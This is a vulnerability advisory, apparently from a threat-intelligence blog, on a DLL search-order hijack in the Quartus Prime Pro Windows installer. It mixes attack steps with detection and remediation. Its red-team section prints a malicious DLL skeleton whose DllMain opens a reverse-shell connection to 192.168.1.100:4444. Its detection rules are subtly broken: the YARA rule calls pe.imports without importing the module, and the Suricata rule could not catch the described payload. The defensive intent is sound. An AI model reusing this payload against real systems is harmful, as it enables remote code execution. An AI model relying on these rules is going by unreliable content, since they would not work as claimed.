CVE-2025-14596

Executive Summary

CVE-2025-14596 is a Uncontrolled Search Path Element vulnerability in the Altera Quartus Prime Pro Installer (SFX) on Windows. This flaw allows an attacker to perform a Search Order Hijacking attack, where a malicious DLL or executable placed in a directory searched before the legitimate one can be loaded instead of the intended component. The vulnerability affects versions from 24.1 through 24.3.1. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

This is a Windows-specific vulnerability, not related to any web server or WordPress ecosystem. The attack vector is local, requiring the attacker to have write access to a directory in the search path.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows installer issue for a proprietary EDA tool (Quartus Prime Pro). No supply chain implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (CWE-427: Uncontrolled Search Path Element), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – attacker needs user-level access.
• User Interaction (UI): Required (R) – user must run the installer.
• Scope (S): Unchanged (U) – exploitation stays within the same security authority.
• Confidentiality (C): High (H) – could lead to arbitrary code execution.
• Integrity (I): High (H) – malicious code can modify system state.
• Availability (A): High (H) – could crash or compromise the installer.

Estimated CVSS Score: 7.8 (High)

Threat Level: High for targeted attacks, Low for mass exploitation due to local access requirement.

Deep Dive & Mechanics

The vulnerability lies in the Self-Extracting (SFX) installer of Altera Quartus Prime Pro. When the installer runs, it searches for dynamic-link libraries (DLLs) or executables in a specific order (e.g., current directory, system PATH, etc.). If an attacker can place a malicious DLL in a directory that is searched before the legitimate one (e.g., the user's Downloads folder or a temp directory), the installer will load the malicious code instead.

Attack Scenario:

1. An attacker crafts a malicious DLL (e.g., version.dll or wininet.dll) that mimics a legitimate library used by the installer.
2. The attacker places this DLL in a directory that the user will run the installer from (e.g., a shared network folder, USB drive, or Downloads folder).
3. The user downloads and runs the Quartus Prime Pro installer from that directory.
4. The installer loads the malicious DLL, executing arbitrary code with the privileges of the user.

This is a classic DLL Hijacking or Search Order Hijacking attack, common in Windows applications that do not use absolute paths or safe DLL search modes.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is the SFX installer's search path logic. A patched version would likely:

• Use absolute paths for all dependencies.
• Enable SetDllDirectory("") or use LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR flags.
• Validate the digital signature of loaded DLLs.

Vulnerable Code (Conceptual):

// Vulnerable: Loads DLL from search path
HMODULE hMod = LoadLibrary("helper.dll");

Patched Code (Conceptual):

// Patched: Loads DLL from a safe directory
SetDllDirectory(L"C:\\Program Files\\Intel\\Quartus\\bin");
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Intel\\Quartus\\bin\\helper.dll");

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows system with Quartus Prime Pro 24.1-24.3.1 installed.
• Ability to write to a directory in the search path (e.g., user's Downloads folder).
• Knowledge of a DLL that the installer loads (e.g., version.dll).

Steps:

1. Identify a DLL loaded by the installer using Process Monitor (Procmon) with a filter on the installer process.
2. Create a malicious DLL that exports the same functions as the legitimate one but includes a payload (e.g., reverse shell).
3. Place the malicious DLL in the same directory as the installer executable.
4. Execute the installer. The malicious DLL will be loaded, executing the payload.

Example Malicious DLL (C++):

#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Reverse shell payload
        WSADATA wsaData;
        WSAStartup(MAKEWORD(2,2), &wsaData);
        SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(4444);
        addr.sin_addr.s_addr = inet_addr("192.168.1.100");
        connect(sock, (SOCKADDR*)&addr, sizeof(addr));
        // ... (spawn cmd.exe and redirect I/O)
    }
    return TRUE;
}

Blue Team

Detection:

• Monitor for unexpected DLL loads from user-writable directories (e.g., Downloads, Temp).
• Use Sysmon Event ID 7 (Image loaded) to detect DLLs loaded from non-standard paths.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted DLLs.

Hunting:

• Search for instances of Quartus installer processes loading DLLs from C:\Users\*\Downloads\ or C:\Users\*\AppData\Local\Temp\.
• Look for unsigned DLLs loaded by the installer.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – no known malicious samples)
• Process Names: QuartusSetup.exe, QuartusPrimeProSetup.exe
• DLL Names: version.dll, wininet.dll, dbghelp.dll (if loaded from user-writable paths)
• Registry Keys: N/A
• Network Connections: Outbound connections to attacker-controlled IPs (if payload is a reverse shell)
• YARA Rule: See Detection Engineering.

Detection Engineering

YARA Rule

rule CVE_2025_14596_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Quartus Prime Pro installer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14596"
    strings:
        $s1 = "Quartus" nocase
        $s2 = "Prime" nocase
        $s3 = "Setup" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        all of ($s*) and
        for any i in (1..10): (pe.imports("kernel32.dll", "LoadLibraryA") or pe.imports("kernel32.dll", "LoadLibraryW"))
}

Sigma Rule

title: CVE-2025-14596 - Quartus Prime Pro Installer DLL Hijack
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects DLL load events from user-writable directories during Quartus installer execution
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
    category: image_load
detection:
    selection:
        Image|endswith:
            - '\QuartusSetup.exe'
            - '\QuartusPrimeProSetup.exe'
        ImageLoaded|contains:
            - '\Users\'
            - '\Temp\'
            - '\Downloads\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by the user
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-14596 - Possible Quartus Installer DLL Hijack Payload Download";
    flow:to_server,established;
    content:"Quartus"; nocase;
    content:"Setup"; nocase;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Do not run the installer from untrusted directories. Always copy the installer to a trusted location (e.g., C:\Program Files\Intel\Quartus\) before execution.
2. Use a dedicated, clean machine for installing Quartus Prime Pro.
3. Monitor for suspicious DLL loads using Sysmon or EDR.

Long-term Fix:

• Await an official patch from Altera/Intel. In the meantime, consider using application whitelisting (e.g., AppLocker) to block untrusted DLLs.
• Apply the principle of least privilege: run the installer as a standard user, not as administrator.

Workaround:

• Set the SafeDllSearchMode registry key to 1 (enabled) to force the system to search the System32 directory before the current directory:

  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f
  

Valters IT
DevSecOps & Cyber Threat Intelligence